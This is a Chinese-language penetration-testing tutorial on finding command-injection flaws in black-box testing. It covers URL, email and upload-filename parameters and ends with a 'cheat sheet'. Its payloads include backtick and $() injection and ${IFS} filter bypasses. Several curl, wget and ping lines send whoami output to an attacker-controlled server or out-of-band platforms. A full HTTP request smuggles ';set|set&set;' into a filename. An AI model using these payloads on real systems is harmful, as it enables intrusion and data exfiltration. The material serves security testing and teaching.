1.1 前言
1.第三方開源通用框架/第三方類庫的使用，如Struts，Jenkins等
2.業務邏輯處理直接拼接用戶可控參數區執行系統命令或者拼湊回調函數代碼，中途無任何安全過濾比如說: 應用有時需要調用一些執行系統命令的函數，如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等，當用戶能控制這些函數中的參數時，就可以將惡意系統命令拼接到正常命令中，從而造成命令執行攻擊，這就是命令執行漏洞。
這里以php說明含義，任何一門編程語言，使用到了一些系統命令的函數，均可能存在命令執行漏洞。
我們常常知道，命令執行漏洞多數在白盒測試中被挖掘出來，即使我們挖了命令執行，也只是第三方的框架漏洞居多！如Struts命令執行，而那種最基本的命令執行挖掘的案例所見很少。
這次我要詳細分享下因為濫用系統命令不當導致的命令執行漏洞挖掘，在黑盒測試中如何更好的fuzz出來?下面我將分享我的經驗！
1.2 漏洞挖掘
再測試SSRF的地方嘗試測試命令執行
嘗試在url,xxxurl等參數下測試命令執行
如輸入http://服務器ip/ 采用nc監聽探測是否訪問。
嘗試 輸入http:// `sleep 5`.服務器地址/ 出現延遲就說明存在注入
嘗試輸入 http://服務器地址/$(whoami)
嘗試輸入http://`whoami`.服務器地址
現在搭建網站多以linux做網站服務器，以linux為例子講解:
作為曾經寫過一段時間業務代碼的我來說，在挖掘命令執行漏洞時，我經常思考，哪些地方更有可能存在命令執行漏洞呢？
網站郵箱注冊，填寫郵箱，郵箱驗證處，是否可能存在第三方接口的調用導致安全安全問題呢？
1.2.1 Email案例分享:
payload:”email”: `wget%20xxx.ceye.io/xxxx`@qq.com”
第三方的監控平台會收到一個請求:
可以把網址內容改成服務器地址，然后服務器上nc –lvvp 80監聽即可，真實
服務器后端通過命令處理了我們傳遞的email參數等邏輯信息
通過這個小案例，既然email可能存在問題，那么name，filename是否也存在類似的問題？filename是否會在程序中調用了重命名，亦或是刪除等系統命令？
答案是肯定的，概率很大，這類命令執行曝洞概率極高。
1.2.2 Filename案例分享：
文件上傳處:存在問題參數filename:
filename輸入基礎命令探測:`sleep 5`
發現出現了很大的延遲（網站本身延遲+5）
基本可以判斷出可能存在命令執行漏洞。
使用curl發起請求：
第三方平台成功響應
命令執行到文件讀取：
1.2.3 烏雲案例分享：
這個案例是我在烏雲看到的，很幸運自己能看到這個安全案例：
完整數據包：
POST /index.php HTTP/1.1
Content-Length: 364
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_NHDUMYQDQJ
Host: xxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="submit"
submit
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="ver"
set|set&set
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="file"; filename=";set|set&set;"
Content-Type: image/png
-------AcunetixBoundary_NHDUMYQDQJ—
發包響應：
列出所有系統路徑。他這里fuzz的技巧很好，一般我們測試命令注入都是|payload亦或是&payload，亦或是;payload，他這里把三種測試方法都歸到一塊變成: ;payload|payload&payload
payload可以是直接回顯的set或者是ls等參數，也可以是遠程curl,wget探測！
凡是name，filename等參數是很容易爆發出命令執行漏洞的，這些參數是我們fuzz中重點的關照對象。我們一定要對這些點進行多測試！
1.2.4 其他信息收集到的命令執行真實案例：
還有哪些地方可能存在命令執行呢？發動你的思維，在url參數上，不僅僅可能存在ssrf漏洞，也有很大概率存在命令執行，很大可能調用系統命令如curl，那么在文件下載處就很大概率會調用wget！在查看圖片，查看文件等地方可能會使用cat命令等，在文件刪除上，我們可能會用到rm命令！一切皆有可能！
最后！！！！！！
1.3 我的rce挖掘小手冊分享：
Window下||和&
linux下||和&
Linux下過濾空格可以使用:${IFS},$IFS,$IFS$9
JSON格式下的測試:
\u000awget\u0020 http://服務器地址
Linux下可以包括反引號，windows下不可以。
Linux下正常測試rce:
curl http://服務器地址/`whoami`
ping `whoami`.服務器地址
一些繞過姿勢:
curl http://服務器地址/$(whoami)
curl http://服務器地址/$(whoami|base64)
'w'g'e't${IFS}服務器地址
Windows下rce探測:
ping %USERNAME%.服務器地址
for /F %x in ('whoami') do start http://服務器地址/%x(獲取計算機名)
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.服務器地址（獲取用戶名）
測試郵箱:`wget%209服務器地址/xxxx`@qq.com
測試上傳:`sleep 10`filename
測試filenname:||wget%20服務器地址
測試上傳處下的名稱: ;payload|payload&payload
1.4 沒錢買服務器的看這里！福利福利！！！
第三方接收平台1:
http://ceye.io/
第三方接收平台2:(本人強烈推薦)
注冊: https://exeye.io/register 邀請碼: exeye2017
登錄: https://exeye.io/login
好處:比接收平台1功能更全，支持https的，記錄完整的請求數據包，可以接收referer，偷referer信息！